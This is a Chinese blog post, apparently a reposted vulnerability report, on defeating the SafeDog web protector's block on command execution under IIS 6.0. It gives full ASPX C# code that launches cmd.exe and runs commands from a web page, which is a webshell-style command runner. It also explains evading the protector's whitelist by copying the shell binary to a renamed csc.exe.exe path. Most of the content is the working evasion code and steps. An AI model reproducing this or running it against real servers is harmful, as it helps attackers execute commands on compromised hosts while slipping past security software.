安全狗禁止执行iis命令绕过

暗月博客 2019年11月21日21:20:01评论769 views字数 2279阅读7分35秒阅读模式
摘要

简要描述: 安全狗禁止执行iis命令绕过 系统是win2003 iis6.0

4:自己创建了一个aspx的页面代码如下:

安全狗禁止执行iis命令绕过

简要描述:

安全狗禁止执行iis命令绕过

详细说明:

1:= =安全狗功能越来越狠了,初略看一下大概有如下恶心的事儿:

1):上传防护,如上传aspx和asp就被干掉

2):浏览防护,直接访问aspx马,查杀

3):静态扫描

4):马传上去之后还有一句话连接的防护,就是常见的灭菜刀

5):还有恶意组件禁止执行

6):禁止iis的命令执行

2:前面的1234,zone里经常有人讨论,上传和静态查杀使用之前的zone里发过的内容即可绕过,这里主要说下最后个禁止iis命令执行

3:这里我使用的网站安全狗,版本是3.5版本

安全狗禁止执行iis命令绕过

系统是win2003 iis6.0

4:自己创建了一个aspx的页面代码如下:

using System;  using System.Data;  using System.Configuration;  using System.Web;  using System.Web.Security;  using System.Web.UI;  using System.Web.UI.WebControls;  using System.Web.UI.WebControls.WebParts;  using System.Web.UI.HtmlControls;  using System.Diagnostics;  using System.ComponentModel;    public partial class _Default : System.Web.UI.Page   {      protected void Page_Load(object sender, EventArgs e)      {        }      protected void btnShow_Click(object sender, EventArgs e)      {                    Process p = new Process();          p.StartInfo.FileName = "C://WINDOWS//system32//cmd.exe";          p.StartInfo.UseShellExecute = false;          p.StartInfo.RedirectStandardInput = true;          p.StartInfo.RedirectStandardOutput = true;          p.StartInfo.RedirectStandardError = true;          p.StartInfo.CreateNoWindow = true;          string strOutput = null;          p.Start();          p.StandardInput.WriteLine("whoami");          p.StandardInput.WriteLine("exit");          strOutput = p.StandardOutput.ReadToEnd();          p.WaitForExit();          p.Close();               this.lblDisplay.Text = strOutput;                    }  }

大致就是点击的时候执行了一个cmd的命令

5:开启安全的时候直接报错了,提示执行了cmd命令

安全狗禁止执行iis命令绕过

6:这里我们查看了一下白名单,于是有了想法,我把exe文件改成csc.exe.exe,看看行不行,于是我拷贝了一个到C:/WINDOWS/Microsoft.NET/Framework/v4.0.30319/csc.exe.exe

7:然后修改代码执行下:

安全狗禁止执行iis命令绕过

修改后的文件代码:

using System;  using System.Data;  using System.Configuration;  using System.Web;  using System.Web.Security;  using System.Web.UI;  using System.Web.UI.WebControls;  using System.Web.UI.WebControls.WebParts;  using System.Web.UI.HtmlControls;  using System.Diagnostics;  using System.ComponentModel;    public partial class _Default : System.Web.UI.Page   {      protected void Page_Load(object sender, EventArgs e)      {        }      protected void btnShow_Click(object sender, EventArgs e)      {                    Process p = new Process();          p.StartInfo.FileName = "C://WINDOWS//Microsoft.NET//Framework//v4.0.30319//csc.exe.exe";          p.StartInfo.UseShellExecute = false;          p.StartInfo.RedirectStandardInput = true;          p.StartInfo.RedirectStandardOutput = true;          p.StartInfo.RedirectStandardError = true;          p.StartInfo.CreateNoWindow = true;          string strOutput = null;          p.Start();          p.StandardInput.WriteLine("whoami");          p.StandardInput.WriteLine("exit");          strOutput = p.StandardOutput.ReadToEnd();          p.WaitForExit();          p.Close();               this.lblDisplay.Text = strOutput;                    }  }

漏洞证明:

7:然后修改代码执行下:

安全狗禁止执行iis命令绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日21:20:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全狗禁止执行iis命令绕过http://cn-sec.com/archives/72342.html

发表评论

匿名网友 填写信息